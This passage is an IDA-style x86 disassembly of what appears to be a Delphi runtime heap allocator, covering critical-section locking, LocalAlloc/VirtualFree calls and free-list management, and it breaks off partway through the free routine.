sub_401778	proc near		; CODE XREF: sub_401E64+14p
					; sub_401FF4+19p ...

arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00402988 SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		push	ebp
		push	offset loc_40182E
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset dword_4055B4
		call	sub_4010CC	; InitializeCriticalSection
		cmp	ds:byte_405035,	0
		jz	short loc_4017A6
		push	offset dword_4055B4
		call	sub_4010D4	; RtlEnterCriticalSection

loc_4017A6:				; CODE XREF: sub_401778+22j
		mov	eax, offset dword_4055D4
		call	sub_40113C
		mov	eax, offset dword_4055E4
		call	sub_40113C
		mov	eax, offset dword_405610
		call	sub_40113C
		push	0FF8h
		push	0
		call	sub_4010AC	; LocalAlloc
		mov	ds:dword_40560C, eax
		cmp	ds:dword_40560C, 0
		jz	short loc_40180D
		mov	eax, 3

loc_4017E3:				; CODE XREF: sub_401778+7Dj
		mov	edx, ds:dword_40560C
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_4017E3
		mov	eax, offset dword_4055F4
		mov	[eax+4], eax
		mov	[eax], eax
		mov	ds:dword_405600, eax
		mov	ds:byte_4055AC,	1

loc_40180D:				; CODE XREF: sub_401778+64j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401835

loc_40181A:				; CODE XREF: sub_401778+BBj
		cmp	ds:byte_405035,	0
		jz	short locret_40182D
		push	offset dword_4055B4
		call	sub_4010DC	; RtlLeaveCriticalSection

locret_40182D:				; CODE XREF: sub_401778+A9j
		retn
; ---------------------------------------------------------------------------

loc_40182E:				; DATA XREF: sub_401778+6o
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_40181A
; ---------------------------------------------------------------------------

loc_401835:				; DATA XREF: sub_401778+9Do
		mov	al, ds:byte_4055AC
		pop	ebp
		retn
sub_401778	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40183C	proc near		; CODE XREF: CODE:00403113p
		push	ebp
		mov	ebp, esp
		push	ebx
		cmp	ds:byte_4055AC,	0
		jz	loc_401919
		xor	edx, edx
		push	ebp
		push	offset loc_401912
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_405035,	0
		jz	short loc_40186E
		push	offset dword_4055B4
		call	sub_4010D4	; RtlEnterCriticalSection

loc_40186E:				; CODE XREF: sub_40183C+26j
		mov	ds:byte_4055AC,	0
		mov	eax, ds:dword_40560C
		push	eax
		call	sub_4010B4	; LocalFree
		xor	eax, eax
		mov	ds:dword_40560C, eax
		mov	ebx, ds:dword_4055D4
		jmp	short loc_4018A1
; ---------------------------------------------------------------------------

loc_40188F:				; CODE XREF: sub_40183C+6Bj
		push	8000h
		push	0
		mov	eax, [ebx+8]
		push	eax
		call	sub_4010C4	; VirtualFree
		mov	ebx, [ebx]

loc_4018A1:				; CODE XREF: sub_40183C+51j
		cmp	ebx, offset dword_4055D4
		jnz	short loc_40188F
		mov	eax, offset dword_4055D4
		call	sub_40113C
		mov	eax, offset dword_4055E4
		call	sub_40113C
		mov	eax, offset dword_405610
		call	sub_40113C
		mov	eax, ds:dword_4055CC
		test	eax, eax
		jz	short loc_4018E7

loc_4018D0:				; CODE XREF: sub_40183C+A9j
		mov	edx, [eax]
		mov	ds:dword_4055CC, edx
		push	eax
		call	sub_4010B4	; LocalFree
		mov	eax, ds:dword_4055CC
		test	eax, eax
		jnz	short loc_4018D0

loc_4018E7:				; CODE XREF: sub_40183C+92j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401919

loc_4018F4:				; CODE XREF: sub_40183C+DBj
		cmp	ds:byte_405035,	0
		jz	short loc_401907
		push	offset dword_4055B4
		call	sub_4010DC	; RtlLeaveCriticalSection

loc_401907:				; CODE XREF: sub_40183C+BFj
		push	offset dword_4055B4
		call	sub_4010E4	; RtlDeleteCriticalSection
		retn
; ---------------------------------------------------------------------------

loc_401912:				; DATA XREF: sub_40183C+14o
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_4018F4
; ---------------------------------------------------------------------------

loc_401919:				; CODE XREF: sub_40183C+Bj
					; DATA XREF: sub_40183C+B3o
		pop	ebx
		pop	ebp
		retn
sub_40183C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40191C	proc near		; CODE XREF: sub_401A2C:loc_401A8Dp
					; sub_401A9C+23p ...
		push	ebx
		cmp	eax, ds:dword_405600
		jnz	short loc_40192E
		mov	edx, [eax+4]
		mov	ds:dword_405600, edx

loc_40192E:				; CODE XREF: sub_40191C+7j
		mov	edx, [eax+4]
		mov	ecx, [eax+8]
		cmp	ecx, 1000h
		jg	short loc_401974
		cmp	eax, edx
		jnz	short loc_401957
		test	ecx, ecx
		jns	short loc_401947
		add	ecx, 3

loc_401947:				; CODE XREF: sub_40191C+26j
		sar	ecx, 2
		mov	eax, ds:dword_40560C
		xor	edx, edx
		mov	[eax+ecx*4-0Ch], edx
		jmp	short loc_40197B
; ---------------------------------------------------------------------------

loc_401957:				; CODE XREF: sub_40191C+22j
		test	ecx, ecx
		jns	short loc_40195E
		add	ecx, 3

loc_40195E:				; CODE XREF: sub_40191C+3Dj
		sar	ecx, 2
		mov	ebx, ds:dword_40560C
		mov	[ebx+ecx*4-0Ch], edx
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_401974:				; CODE XREF: sub_40191C+1Ej
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx

loc_40197B:				; CODE XREF: sub_40191C+39j
		pop	ebx
		retn
sub_40191C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401980	proc near		; CODE XREF: sub_401AD4+11p
		mov	edx, ds:dword_405610
		jmp	short loc_401998
; ---------------------------------------------------------------------------

loc_401988:				; CODE XREF: sub_401980+1Ej
		mov	ecx, [edx+8]
		cmp	eax, ecx
		jb	short loc_401996
		add	ecx, [edx+0Ch]
		cmp	eax, ecx
		jb	short loc_4019AC

loc_401996:				; CODE XREF: sub_401980+Dj
		mov	edx, [edx]

loc_401998:				; CODE XREF: sub_401980+6j
		cmp	edx, offset dword_405610
		jnz	short loc_401988
		mov	ds:dword_4055B0, 3
		xor	edx, edx

loc_4019AC:				; CODE XREF: sub_401980+14j
		mov	eax, edx
		retn
sub_401980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4019B0	proc near		; CODE XREF: sub_401AD4+74p
					; sub_401C58+68p
		push	ebx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		cmp	edx, 10h
		jl	short loc_4019CD
		mov	dword ptr [ebx], 80000007h
		mov	edx, ecx
		call	sub_401B84
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_4019CD:				; CODE XREF: sub_4019B0+Cj
		cmp	edx, 4
		jl	short loc_4019DE
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	[ebx], ecx

loc_4019DE:				; CODE XREF: sub_4019B0+20j
		pop	ebx
		retn
sub_4019B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4019E0	proc near		; CODE XREF: sub_401A04+Dp
					; sub_401C0C+36p ...
		inc	ds:dword_40559C
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	ds:dword_4055A0, edx
		call	sub_401FF4
		retn
sub_4019E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A04	proc near		; CODE XREF: sub_401AD4+8Ep
		cmp	edx, 0Ch
		jl	short loc_401A17
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_4019E0
		retn
; ---------------------------------------------------------------------------

loc_401A17:				; CODE XREF: sub_401A04+3j
		cmp	edx, 4
		jl	short loc_401A26
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx

loc_401A26:				; CODE XREF: sub_401A04+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_401A04	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A2C	proc near		; CODE XREF: sub_401C58+36p
		push	ebx
		push	esi
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_401A4F
		mov	ds:dword_4055B0, 4

loc_401A4F:				; CODE XREF: sub_401A2C+17j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_401A6F
		mov	ds:dword_4055B0, 5

loc_401A6F:				; CODE XREF: sub_401A2C+37j
		test	byte ptr [ecx],	1
		jz	short loc_401A94
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		cmp	esi, [eax+8]
		jz	short loc_401A8D
		mov	ds:dword_4055B0, 6

loc_401A8D:				; CODE XREF: sub_401A2C+55j
		call	sub_40191C
		add	ebx, esi

loc_401A94:				; CODE XREF: sub_401A2C+46j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_401A2C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A9C	proc near		; CODE XREF: sub_401C58+4Fp
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	edi, edi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_401AB7
		and	eax, 7FFFFFFCh
		add	edi, eax
		add	ebx, eax
		mov	eax, [ebx]

loc_401AB7:				; CODE XREF: sub_401A9C+Ej
		test	al, 2
		jnz	short loc_401ACE
		mov	esi, ebx
		mov	eax, esi
		call	sub_40191C
		mov	eax, [esi+8]
		add	edi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh

loc_401ACE:				; CODE XREF: sub_401A9C+1Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401A9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401AD4	proc near		; CODE XREF: sub_401B84+61p

var_1C		= byte ptr -1Ch
var_1B		= dword	ptr -1Bh
var_17		= dword	ptr -17h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	edi, edx
		mov	esi, eax
		mov	[esp+1Ch+var_1C], 0
		mov	eax, esi
		call	sub_401980
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_401B76
		mov	ebp, [ebx+8]
		mov	eax, ebp
		add	eax, [ebx+0Ch]
		mov	edx, eax
		lea	ecx, [edi+esi]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_401B0C
		mov	edi, eax
		sub	edi, esi

loc_401B0C:				; CODE XREF: sub_401AD4+32j
		mov	eax, esi
		sub	eax, ebp
		cmp	eax, 0Ch
		jge	short loc_401B29
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, esi
		sub	edx, [ebx+8]
		add	edx, edi
		mov	eax, ebp
		call	sub_4016EC
		jmp	short loc_401B3A
; ---------------------------------------------------------------------------

loc_401B29:				; CODE XREF: sub_401AD4+3Fj
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, edi
		sub	edx, 4
		lea	eax, [esi+4]
		call	sub_4016EC

loc_401B3A:				; CODE XREF: sub_401AD4+53j
		mov	ebp, [esp+1Ch+var_1B]
		test	ebp, ebp
		jz	short loc_401B76
		mov	edx, ebp
		sub	edx, esi
		mov	eax, esi
		call	sub_4019B0
		mov	eax, ebp
		add	eax, [esp+1Ch+var_17]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnb	short loc_401B67
		lea	edx, [edi+esi]
		sub	edx, eax
		call	sub_401A04

loc_401B67:				; CODE XREF: sub_401AD4+87j
		lea	edx, [esp+1Ch+var_1B]
		mov	eax, ebx
		call	sub_4011FC
		mov	[esp+1Ch+var_1C], 1

loc_401B76:				; CODE XREF: sub_401AD4+1Aj
					; sub_401AD4+6Cj
		mov	al, [esp+1Ch+var_1C]
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401AD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B84	proc near		; CODE XREF: sub_4019B0+16p
					; sub_401D70+BBp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		mov	ebx, edi
		mov	[ebx+8], esi
		mov	eax, ebx
		add	eax, esi
		sub	eax, 0Ch
		mov	[eax+8], esi
		cmp	esi, 1000h
		jg	short loc_401BD9
		mov	edx, esi
		test	edx, edx
		jns	short loc_401BAB
		add	edx, 3

loc_401BAB:				; CODE XREF: sub_401B84+22j
		sar	edx, 2
		mov	eax, ds:dword_40560C
		mov	eax, [eax+edx*4-0Ch]
		test	eax, eax
		jnz	short loc_401BCB
		mov	eax, ds:dword_40560C
		mov	[eax+edx*4-0Ch], ebx
		mov	[ebx+4], ebx
		mov	[ebx], ebx
		jmp	short loc_401C05
; ---------------------------------------------------------------------------

loc_401BCB:				; CODE XREF: sub_401B84+35j
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx
		jmp	short loc_401C05
; ---------------------------------------------------------------------------

loc_401BD9:				; CODE XREF: sub_401B84+1Cj
		cmp	esi, 3C00h
		jl	short loc_401BEE
		mov	edx, esi
		mov	eax, edi
		call	sub_401AD4
		test	al, al
		jnz	short loc_401C05

loc_401BEE:				; CODE XREF: sub_401B84+5Bj
		mov	eax, ds:dword_405600
		mov	ds:dword_405600, ebx
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx

loc_401C05:				; CODE XREF: sub_401B84+45j
					; sub_401B84+53j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B84	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C0C	proc near		; CODE XREF: sub_401C58+Fp
					; sub_401FF4+100p ...
		cmp	ds:dword_405604, 0
		jle	short locret_401C55
		cmp	ds:dword_405604, 0Ch
		jge	short loc_401C2A
		mov	ds:dword_4055B0, 7
		jmp	short locret_401C55
; ---------------------------------------------------------------------------

loc_401C2A:				; CODE XREF: sub_401C0C+10j
		mov	eax, ds:dword_405604
		or	eax, 2
		mov	edx, ds:dword_405608
		mov	[edx], eax
		mov	eax, ds:dword_405608
		add	eax, 4
		call	sub_4019E0
		xor	eax, eax
		mov	ds:dword_405608, eax
		xor	eax, eax
		mov	ds:dword_405604, eax

locret_401C55:				; CODE XREF: sub_401C0C+7j
					; sub_401C0C+1Cj
		retn
sub_401C0C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C58	proc near		; CODE XREF: sub_401CE4+18p
					; sub_401D10+1Dp

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+1Ch+var_1C]
		movsd
		movsd
		mov	edi, esp
		call	sub_401C0C
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, edi
		mov	eax, offset dword_405610
		call	sub_40118C
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jnz	short loc_401C88
		xor	eax, eax
		jmp	short loc_401CDA
; ---------------------------------------------------------------------------

loc_401C88:				; CODE XREF: sub_401C58+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_401C98
		call	sub_401A2C
		sub	[edi], eax
		add	[edi+4], eax

loc_401C98:				; CODE XREF: sub_401C58+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+1Ch+var_10]
		cmp	eax, esi
		jnb	short loc_401CAF
		call	sub_401A9C
		add	[edi+4], eax

loc_401CAF:				; CODE XREF: sub_401C58+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_401CC9
		sub	eax, 4
		mov	edx, 4
		call	sub_4019B0
		sub	dword ptr [edi+4], 4

loc_401CC9:				; CODE XREF: sub_401C58+5Ej
		mov	eax, [edi]
		mov	ds:dword_405608, eax
		mov	eax, [edi+4]
		mov	ds:dword_405604, eax
		mov	al, 1

loc_401CDA:				; CODE XREF: sub_401C58+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401C58	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401CE4	proc near		; CODE XREF: sub_401D70+57p

var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_401538
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_401D05
		mov	eax, esp
		call	sub_401C58
		test	al, al
		jnz	short loc_401D09

loc_401D05:				; CODE XREF: sub_401CE4+14j
		xor	eax, eax
		jmp	short loc_401D0B
; ---------------------------------------------------------------------------

loc_401D09:				; CODE XREF: sub_401CE4+1Fj
		mov	al, 1

loc_401D0B:				; CODE XREF: sub_401CE4+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_401CE4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401D10	proc near		; CODE XREF: sub_402198+1A4p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_4015C8
		cmp	[esp+10h+var_10], 0
		jz	short loc_401D36
		mov	eax, esp
		call	sub_401C58
		test	al, al
		jnz	short loc_401D3A

loc_401D36:				; CODE XREF: sub_401D10+19j
		xor	eax, eax
		jmp	short loc_401D3C
; ---------------------------------------------------------------------------

loc_401D3A:				; CODE XREF: sub_401D10+24j
		mov	al, 1

loc_401D3C:				; CODE XREF: sub_401D10+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401D10	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401D44	proc near		; CODE XREF: sub_401D70+4Ap
		xor	edx, edx
		test	eax, eax
		jns	short loc_401D4D
		add	eax, 3

loc_401D4D:				; CODE XREF: sub_401D44+4j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_401D6D

loc_401D57:				; CODE XREF: sub_401D44+27j
		mov	edx, ds:dword_40560C
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jnz	short loc_401D6D
		inc	eax
		cmp	eax, 401h
		jnz	short loc_401D57

loc_401D6D:				; CODE XREF: sub_401D44+11j
					; sub_401D44+1Fj
		mov	eax, edx
		retn
sub_401D44	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D70	proc near		; CODE XREF: sub_401E64+153p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, eax
		mov	edi, offset dword_405600
		mov	ebp, offset dword_405604

loc_401D80:				; CODE XREF: sub_401D70+6Aj
		mov	ebx, ds:dword_4055F8
		cmp	esi, [ebx+8]
		jle	loc_401E13
		mov	ebx, [edi]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jle	short loc_401E13
		mov	[ebx+8], esi

loc_401D9B:				; CODE XREF: sub_401D70+31j
		mov	ebx, [ebx+4]
		cmp	esi, [ebx+8]
		jg	short loc_401D9B
		mov	edx, [edi]
		mov	[edx+8], eax
		cmp	ebx, [edi]
		jz	short loc_401DB0
		mov	[edi], ebx
		jmp	short loc_401E13
; ---------------------------------------------------------------------------

loc_401DB0:				; CODE XREF: sub_401D70+3Aj
		cmp	esi, 1000h
		jg	short loc_401DC5
		mov	eax, esi
		call	sub_401D44
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_401E13

loc_401DC5:				; CODE XREF: sub_401D70+46j
		mov	eax, esi
		call	sub_401CE4
		test	al, al
		jnz	short loc_401DD7
		xor	eax, eax
		jmp	loc_401E5F
; ---------------------------------------------------------------------------

loc_401DD7:				; CODE XREF: sub_401D70+5Ej
		cmp	esi, [ebp+0]
		jg	short loc_401D80
		sub	[ebp+0], esi
		cmp	dword ptr [ebp+0], 0Ch
		jge	short loc_401DED
		add	esi, [ebp+0]
		xor	eax, eax
		mov	[ebp+0], eax

loc_401DED:				; CODE XREF: sub_401D70+73j
		mov	eax, ds:dword_405608
		add	ds:dword_405608, esi
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	ds:dword_40559C
		sub	esi, 4
		add	ds:dword_4055A0, esi
		jmp	short loc_401E5F
; ---------------------------------------------------------------------------

loc_401E13:				; CODE XREF: sub_401D70+19j
					; sub_401D70+26j ...
		mov	eax, ebx
		call	sub_40191C
		mov	edx, [ebx+8]
		mov	eax, edx
		sub	eax, esi
		cmp	eax, 0Ch
		jl	short loc_401E32
		mov	edx, ebx
		add	edx, esi
		xchg	eax, edx
		call	sub_401B84
		jmp	short loc_401E44
; ---------------------------------------------------------------------------

loc_401E32:				; CODE XREF: sub_401D70+B4j
		mov	esi, edx
		cmp	ebx, [edi]
		jnz	short loc_401E3D
		mov	eax, [ebx+4]
		mov	[edi], eax

loc_401E3D:				; CODE XREF: sub_401D70+C6j
		mov	eax, ebx
		add	eax, esi
		and	dword ptr [eax], 0FFFFFFFEh

loc_401E44:				; CODE XREF: sub_401D70+C0j
		mov	eax, ebx
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	ds:dword_40559C
		sub	esi, 4
		add	ds:dword_4055A0, esi

loc_401E5F:				; CODE XREF: sub_401D70+62j
					; sub_401D70+A1j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E64	proc near		; CODE XREF: sub_402374+5Cp
					; sub_402438+5p
					; DATA XREF: ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		cmp	ds:byte_4055AC,	0
		jnz	short loc_401E81
		call	sub_401778
		test	al, al
		jz	short loc_401E89

loc_401E81:				; CODE XREF: sub_401E64+12j
		cmp	ebx, 7FFFFFF8h
		jle	short loc_401E93

loc_401E89:				; CODE XREF: sub_401E64+1Bj
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_401FE7
; ---------------------------------------------------------------------------

loc_401E93:				; CODE XREF: sub_401E64+23j
		xor	ecx, ecx
		push	ebp
		push	offset loc_401FE0
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	ds:byte_405035,	0
		jz	short loc_401EB4
		push	offset dword_4055B4
		call	sub_4010D4	; RtlEnterCriticalSection

loc_401EB4:				; CODE XREF: sub_401E64+44j
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_401EC4
		mov	ebx, 0Ch

loc_401EC4:				; CODE XREF: sub_401E64+59j
		cmp	ebx, 1000h
		jg	loc_401F63
		mov	eax, ebx
		test	eax, eax
		jns	short loc_401ED9
		add	eax, 3

loc_401ED9:				; CODE XREF: sub_401E64+70j
		sar	eax, 2
		mov	edx, ds:dword_40560C
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jz	short loc_401F63
		mov	esi, edx
		mov	eax, esi
		add	eax, ebx
		and	dword ptr [eax], 0FFFFFFFEh
		mov	eax, [edx+4]
		cmp	edx, eax
		jnz	short loc_401F14
		mov	eax, ebx
		test	eax, eax
		jns	short loc_401F03
		add	eax, 3

loc_401F03:				; CODE XREF: sub_401E64+9Aj
		sar	eax, 2
		mov	ecx, ds:dword_40560C
		xor	edi, edi
		mov	[ecx+eax*4-0Ch], edi
		jmp	short loc_401F3A
; ---------------------------------------------------------------------------

loc_401F14:				; CODE XREF: sub_401E64+94j
		mov	ecx, ebx
		test	ecx, ecx
		jns	short loc_401F1D
		add	ecx, 3

loc_401F1D:				; CODE XREF: sub_401E64+B4j
		sar	ecx, 2
		mov	edi, ds:dword_40560C
		mov	[edi+ecx*4-0Ch], eax
		mov	ecx, [edx]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx

loc_401F3A:				; CODE XREF: sub_401E64+AEj
		mov	eax, esi
		mov	edx, [edx+8]
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_40559C
		sub	ebx, 4
		add	ds:dword_4055A0, ebx
		call	sub_402A44
		jmp	loc_401FE7
; ---------------------------------------------------------------------------

loc_401F63:				; CODE XREF: sub_401E64+66j
					; sub_401E64+84j
		cmp	ebx, ds:dword_405604
		jg	short loc_401FB5
		sub	ds:dword_405604, ebx
		cmp	ds:dword_405604, 0Ch
		jge	short loc_401F87
		add	ebx, ds:dword_405604
		xor	eax, eax
		mov	ds:dword_405604, eax

loc_401F87:				; CODE XREF: sub_401E64+114j
		mov	eax, ds:dword_405608
		add	ds:dword_405608, ebx
		mov	edx, ebx
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_40559C
		sub	ebx, 4
		add	ds:dword_4055A0, ebx
		call	sub_402A44
		jmp	short loc_401FE7
; ---------------------------------------------------------------------------

loc_401FB5:				; CODE XREF: sub_401E64+105j
		mov	eax, ebx
		call	sub_401D70
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401FE7

loc_401FCC:				; CODE XREF: sub_401E64+181j
		cmp	ds:byte_405035,	0
		jz	short locret_401FDF
		push	offset dword_4055B4
		call	sub_4010DC	; RtlLeaveCriticalSection

locret_401FDF:				; CODE XREF: sub_401E64+16Fj
		retn
; ---------------------------------------------------------------------------

loc_401FE0:				; DATA XREF: sub_401E64+32o
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_401FCC
; ---------------------------------------------------------------------------

loc_401FE7:				; CODE XREF: sub_401E64+2Aj
					; sub_401E64+FAj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_401E64	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FF4	proc near		; CODE XREF: sub_4019E0+1Cp
					; sub_402374+88p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	eax, eax
		mov	ds:dword_4055B0, eax
		cmp	ds:byte_4055AC,	0
		jnz	short loc_40202C
		call	sub_401778
		test	al, al
		jnz	short loc_40202C
		mov	ds:dword_4055B0, 8
		mov	[ebp+var_4], 8
		jmp	loc_40218D
; ---------------------------------------------------------------------------

loc_40202C:				; CODE XREF: sub_401FF4+17j
					; sub_401FF4+20j
		xor	ecx, ecx
		push	ebp
		push	offset loc_402186
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	ds:byte_405035,	0
		jz	short loc_40204D
		push	offset dword_4055B4
		call	sub_4010D4	; RtlEnterCriticalSection

loc_40204D:				; CODE XREF: sub_401FF4+4Dj
		mov	esi, ebx
		sub	esi, 4
		mov	ebx, [esi]
		test	bl, 2
		jnz	short loc_402068
		mov	ds:dword_4055B0, 9
		jmp	loc_40215D
; ---------------------------------------------------------------------------

loc_402068:				; CODE XREF: sub_401FF4+63j
		dec	ds:dword_40559C
		mov	eax, ebx
		and	eax, 7FFFFFFCh
		sub	eax, 4
		sub	ds:dword_4055A0, eax
		test	bl, 1
		jz	short loc_4020C8
		mov	eax, esi
		sub	eax, 0Ch
		mov	edx, [eax+8]
		cmp	edx, 0Ch
		jl	short loc_402098
		test	edx, 80000003h
		jz	short loc_4020A7

loc_402098:				; CODE XREF: sub_401FF4+9Aj
		mov	ds:dword_4055B0, 0Ah
		jmp	loc_40215D
; ---------------------------------------------------------------------------

loc_4020A7:				; CODE XREF: sub_401FF4+A2j
		mov	eax, esi
		sub	eax, edx
		cmp	edx, [eax+8]
		jz	short loc_4020BF
		mov	ds:dword_4055B0, 0Ah
		jmp	loc_40215D
; ---------------------------------------------------------------------------

loc_4020BF:				; CODE XREF: sub_401FF4+BAj
		add	ebx, edx
		mov	esi, eax
		call	sub_40191C

loc_4020C8:				; CODE XREF: sub_401FF4+8Dj
		and	ebx, 7FFFFFFCh
		mov	eax, esi
		add	eax, ebx
		mov	edi, eax
		cmp	edi, ds:dword_405608
		jnz	short loc_402108
		sub	ds:dword_405608, ebx
		add	ds:dword_405604, ebx
		cmp	ds:dword_405604, 3C00h
		jle	short loc_4020F9
		call	sub_401C0C

loc_4020F9:				; CODE XREF: sub_401FF4+FEj
		xor	eax, eax
		mov	[ebp+var_4], eax
		call	sub_402A44
		jmp	loc_40218D
; ---------------------------------------------------------------------------

loc_402108:				; CODE XREF: sub_401FF4+E6j
		mov	edx, [eax]
		test	dl, 2
		jz	short loc_40212B
